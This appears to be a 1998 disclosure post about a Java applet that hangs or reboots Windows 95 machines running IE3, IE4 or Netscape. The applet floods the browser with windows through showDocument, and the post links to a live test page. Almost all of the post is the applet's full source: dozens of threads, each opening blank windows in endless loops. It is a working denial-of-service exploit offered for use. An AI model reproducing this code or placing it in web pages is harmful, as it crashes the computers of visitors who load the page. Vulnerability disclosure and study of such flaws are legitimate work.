(If this is known stuff, i appologize)
I have successfully been able to reboot several win95 machines
with a simple java applet. All the applet does is to try and load
new browsers with the showDocument(url, target) function. When
trying this on IE3 i only needed one loop with showDocument to
make everything freeze, with 10 threads all doing the same thing
my computer immediately rebooted after initializing the applets.
In IE4 and Netscape you need more threads, and i also used a
web page with more applets running at the same time.
They have the same effect though, it either hangs or reboots.
I have only tried this with relatively slow computers, but my guess
is that if you add more threads to each applet or more applets to
each webpage more powerful computers will be effected too (if they
aren't already).
If you want to see if your computer is vulnerable go to
http://home1.swipnet.se/~w-10867/fork/fl00d.htm
this one messes up my p166, 16M ram for sure.
Here's the source...
(it could probably be improved alot by a *real* java programmer)
Thnx to "Chase" for testing...
-------------------------------------------------------------------
// fl00d.class - floods your machine with browsers and eventually
// hangs it. Code written by Joe Lindström.
// Really sorry about all the unrolled loops, i'm too lazy to
// clean it up.
import java.applet.Applet;
import java.net.URL;
import java.net.MalformedURLException;
public class fl00d extends Applet implements Runnable{
URL address;
Thread t1, t2, t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13, t14,
t15, t16, t17, t18, t19, bt1, bt2, bt3, bt4, bt5, bt6, bt7, bt8, bt9,
bt10, bt11, bt12, bt13, bt14, bt15, bt16, bt17, bt18, bt19, wt1, wt2,
wt3, wt4, wt5, wt6, wt7, wt8, wt9, wt10, wt11, wt12, wt13, wt14, wt15,
wt16, wt17, wt18, wt19, wbt1, wbt2, wbt3, wbt4, wbt5, wbt6, wbt7, wbt8,
wbt9, wbt10, wbt11, wbt12, wbt13, wbt14, wbt15, wbt16, wbt17, wbt18,
wbt19;
public void init(){
try {
address = new URL("http://fl00d.fl00d.fl00d");
}catch(MalformedURLException e) {
}
}
public void start(){
t1 = new Thread(this);
t2 = new Thread(this);
t3 = new Thread(this);
t4 = new Thread(this);
t5 = new Thread(this);
t6 = new Thread(this);
t7 = new Thread(this);
t8 = new Thread(this);
t9 = new Thread(this);
t10 = new Thread(this);
t11 = new Thread(this);
t12 = new Thread(this);
t13 = new Thread(this);
t14 = new Thread(this);
t15 = new Thread(this);
t16 = new Thread(this);
t17 = new Thread(this);
t18 = new Thread(this);
t19 = new Thread(this);
bt1 = new Thread(this);
bt2 = new Thread(this);
bt3 = new Thread(this);
bt4 = new Thread(this);
bt5 = new Thread(this);
bt6 = new Thread(this);
bt7 = new Thread(this);
bt8 = new Thread(this);
bt9 = new Thread(this);
bt10 = new Thread(this);
bt11 = new Thread(this);
bt12 = new Thread(this);
bt13 = new Thread(this);
bt14 = new Thread(this);
bt15 = new Thread(this);
bt16 = new Thread(this);
bt17 = new Thread(this);
bt18 = new Thread(this);
bt19 = new Thread(this);
wt1 = new Thread(this);
wt2 = new Thread(this);
wt3 = new Thread(this);
wt4 = new Thread(this);
wt5 = new Thread(this);
wt6 = new Thread(this);
wt7 = new Thread(this);
wt8 = new Thread(this);
wt9 = new Thread(this);
wt10 = new Thread(this);
wt11 = new Thread(this);
wt12 = new Thread(this);
wt13 = new Thread(this);
wt14 = new Thread(this);
wt15 = new Thread(this);
wt16 = new Thread(this);
wt17 = new Thread(this);
wt18 = new Thread(this);
wt19 = new Thread(this);
wbt1 = new Thread(this);
wbt2 = new Thread(this);
wbt3 = new Thread(this);
wbt4 = new Thread(this);
wbt5 = new Thread(this);
wbt6 = new Thread(this);
wbt7 = new Thread(this);
wbt8 = new Thread(this);
wbt9 = new Thread(this);
wbt10 = new Thread(this);
wbt11 = new Thread(this);
wbt12 = new Thread(this);
wbt13 = new Thread(this);
wbt14 = new Thread(this);
wbt15 = new Thread(this);
wbt16 = new Thread(this);
wbt17 = new Thread(this);
wbt18 = new Thread(this);
wbt19 = new Thread(this);
t1.start();
t2.start();
t3.start();
t4.start();
t5.start();
t6.start();
t7.start();
t8.start();
t9.start();
t10.start();
t11.start();
t12.start();
t13.start();
t14.start();
t15.start();
t16.start();
t17.start();
t18.start();
t19.start();
bt1.start();
bt2.start();
bt3.start();
bt4.start();
bt5.start();
bt6.start();
bt7.start();
bt8.start();
bt9.start();
bt10.start();
bt11.start();
bt12.start();
bt13.start();
bt14.start();
bt15.start();
bt16.start();
bt17.start();
bt18.start();
bt19.start();
wt1.start();
wt2.start();
wt3.start();
wt4.start();
wt5.start();
wt6.start();
wt7.start();
wt8.start();
wt9.start();
wt10.start();
wt11.start();
wt12.start();
wt13.start();
wt14.start();
wt15.start();
wt16.start();
wt17.start();
wt18.start();
wt19.start();
wbt1.start();
wbt2.start();
wbt3.start();
wbt4.start();
wbt5.start();
wbt6.start();
wbt7.start();
wbt8.start();
wbt9.start();
wbt10.start();
wbt11.start();
wbt12.start();
wbt13.start();
bt14.start();
wbt15.start();
wbt16.start();
wbt17.start();
wbt18.start();
wbt19.start();
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
public void stop(){
t1=null;
t2=null;
t3=null;
t4=null;
t5=null;
t6=null;
t7=null;
t8=null;
t9=null;
t10=null;
t11=null;
t12=null;
t13=null;
t14=null;
t15=null;
t16=null;
t17=null;
t18=null;
t19=null;
bt1=null;
bt2=null;
bt3=null;
bt4=null;
bt5=null;
bt6=null;
bt7=null;
bt8=null;
bt9=null;
bt10=null;
bt11=null;
bt12=null;
bt13=null;
bt14=null;
bt15=null;
bt16=null;
bt17=null;
bt18=null;
bt19=null;
wt1=null;
wt2=null;
wt3=null;
wt4=null;
wt5=null;
wt6=null;
wt7=null;
wt8=null;
wt9=null;
wt10=null;
wt11=null;
wt12=null;
wt13=null;
wt14=null;
wt15=null;
wt16=null;
wt17=null;
wt18=null;
wt19=null;
wbt1=null;
wbt2=null;
wbt3=null;
wbt4=null;
wbt5=null;
wbt6=null;
wbt7=null;
wbt8=null;
wbt9=null;
wbt10=null;
wbt11=null;
wbt12=null;
wbt13=null;
wbt14=null;
wbt15=null;
wbt16=null;
wbt17=null;
wbt18=null;
wbt19=null;
}
public void run(){
while (Thread.currentThread() == t1){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t2){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t3){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t4){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t5){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t6){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t7){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t8){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t9){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t10){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t11){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t12){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t13){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t14){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t15){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t16){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t17){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t18){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == t19){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt1){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt2){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt3){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt4){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt5){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt6){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt7){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt8){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt9){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt10){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt11){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt12){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt13){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt14){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt15){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt16){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt17){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt18){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == bt19){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt1){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt2){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt3){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt4){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt5){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt6){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt7){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt8){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt9){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt10){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt11){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt12){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt13){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt14){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt15){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt16){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt17){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt18){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wt19){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt1){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt2){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt3){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt4){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt5){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt6){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt7){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt8){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt9){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt10){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt11){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt12){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt13){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt14){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt15){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt16){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt17){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt18){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
while (Thread.currentThread() == wbt19){
for (int i = 0; i < 666; i++)
getAppletContext().showDocument(address, "_blank");
}
}
}
----------------------------------------------------------------------------------------
Joe Lindström, 17/1 -98